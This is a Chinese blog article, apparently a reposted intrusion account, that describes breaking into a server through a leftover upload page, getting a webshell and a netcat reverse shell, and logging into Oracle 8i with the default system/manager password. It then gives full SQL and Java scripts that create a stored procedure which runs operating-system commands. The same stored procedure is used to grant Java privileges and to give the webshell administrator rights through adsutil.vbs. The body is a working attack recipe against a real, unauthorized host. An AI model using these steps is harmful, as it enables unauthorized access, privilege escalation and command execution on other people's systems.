通过oracle默认账户提升权限的实现方法

在oracle数据库中,通过oracle默认账户也是可以提升访问权限的,下文就为您介绍一个通过oracle默认账户提升权限的例子,希望可以让您对数据库安全性方面有所启迪:

近日,偶到一主机上逛了一圈。主机的配置还算是安全,偏偏一个比较隐藏的目录下残留了upfile.asp,结果轻轻松松的得到了webshell。

接着在主机上逛了逛,拿出superscan从外面扫了下,只开放了80端口。从user\程序目录里,发现有一快捷方式:firecontrol,好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务,发现一般的可提权的方法都不可行,无SERV-U等等,主机的补丁也是打到了最新。试了下传了个NC上去,反连接得到一SHELL,这下比在老兵的管理器里舒服多了。

在C盘下看到一个目录oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,确定了主机的服务名“xxx”,看了下版本“oracle 8i”,用数据库连接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx试了下默认的system账户,密码manager,结果真的就连接到了本地的oracle服务。

这下好了,oracle默认账户就像是mssql下的sa,我们来通过他来提升权限,马上编辑了几个脚本。

1.

  1. sql create or replace and compilejava source named "Util"asimport java.io.*.  
  2. import java.lang.*.   
  3. public class Util extends Object{public static int RunThis(String args)  
  4. {  
  5. Runtime rt = Runtime.getRuntime().  
  6. int rc = -1.   
  7. try{Process p = rt.exec(args).  
  8. int bufSize = 4096.  
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).  
  10. int len.byte buffer[] = new byte[bufSize].  
  11. // Echo back what the program spit out  
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)  
  13. System.out.write(buffer, 0, len).   
  14. rc = p.waitFor().  
  15. }  
  16. catch (Exception e)  
  17. {  
  18. e.printStackTrace().  
  19. rc = -1.  
  20. }  
  21. finally{return rc.  
  22. }  
  23. }  
  24. }  
  25.  

2.

  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)  
  2. return numberaslanguage javaname Util.RunThis(java.lang.String)   
  3. return integer. 

3.

  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.  
  2. beginx :run_cmd(p_cmd).  
  3. end. 

保存在c:\下,然后用反连接得到的shell运行 sqlplus system/manager@xxx然后再来执行脚本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已创建、函数已创建、过程已创建,接着我们继续 SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授权成功。

接着我们就可以来执行系统命令了。我想先把ASP.dll加入特权一组 SQL>exec 😡 := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps “c:\winnt\system32\inetsrv\asp.dll” ).看到过程已经成功完成,这个时候我们重新登陆我们的webshell,他已经具有admin权限了。接着,再用NC返回一个shell,已经是管理权限的,我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口,所以不好做图形的后门,只有留下一有权限的webshell。到此已经提权成功。

 

 

 

【编辑推荐】

oracle数据导出和导入的权限

Oracle用户和模式的区别

查看oracle用户权限

oracle对象权限简介

带您深入了解oracle权限管理

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/233544.html<

(0)
管理的头像管理
上一篇2025-04-20 16:32
下一篇 2025-04-20 16:33

相关推荐

  • 云服务器和云虚拟主机怎么选?云服务器和虚拟主机区别

    云服务器适合业务增长快、需弹性扩展的场景,而云虚拟主机适合预算有限、技术门槛低的小型静态网站或测试环境,二者核心区别在于资源独享性与运维复杂度,核心差异解析:从底层架构到使用体验很多人容易混淆这两者,觉得它们都是“买空间建站”,它们的底层逻辑完全不同,云服务器(ECS)就像是你租了一整栋别墅,水电网络独立,你想……

    2026-06-29
    0
  • 赣州智慧旅游招聘是真的吗?赣州旅游人才招聘信息

    中级岗位(3-5年经验)月薪范围通常在6000-10000元,这类岗位需要独立负责项目模块,如独立运营一个抖音账号,或维护一个景区小程序的功能迭代,具备成功案例的候选人议价能力较强,高级岗位(5年以上经验)月薪范围通常在10000-20000元,部分核心管理岗可达更高,这类人才需要具备战略规划能力,如制定整个景……

    2026-06-29
    0
  • 赣州智能物联网车位锁如何管理?智能车位锁管理系统多少钱

    赣州智能物联网车位锁管理的核心在于通过云端平台实现远程控锁、状态实时监控及自动计费,彻底解决传统车位“被占难管”与“找位难”的痛点,在赣州这样的城市,随着机动车保有量的持续增长,老旧小区、商业综合体以及私人固定车位的资源矛盾日益凸显,传统的机械地锁或简易遥控锁,不仅操作繁琐,更无法实现数据化管理,引入智能物联网……

    2026-06-29
    0
  • 赣州智能消防栓好用吗,智能消防栓多少钱一个

    赣州智能消防栓通过物联网技术实现实时监测与远程报警,能显著降低火灾响应时间并提升城市消防安全管理水平,是目前智慧城市建设中不可或缺的基础设施,赣州智能消防栓的核心价值与应用场景传统消防栓往往存在“看不见、摸不着、用不了”的痛点,在赣州这样地形复杂、老城区与新城区并存的区域,传统设施的管理难度极大,智能消防栓的出……

    2026-06-29
    0
  • 云服务器和物理机到底有啥区别?

    云服务器本质上是虚拟化资源池中的弹性实例,而传统物理服务器是独占的硬件实体,前者胜在弹性与运维便捷,后者强在物理隔离与性能稳定,具体选择取决于业务对成本、扩展性及安全合规的权衡,很多人初次接触服务器时,容易把“云服务器”和“传统物理服务器”混为一谈,觉得它们都是用来跑网站或存数据的盒子,这两者的底层逻辑完全不同……

    2026-06-29
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注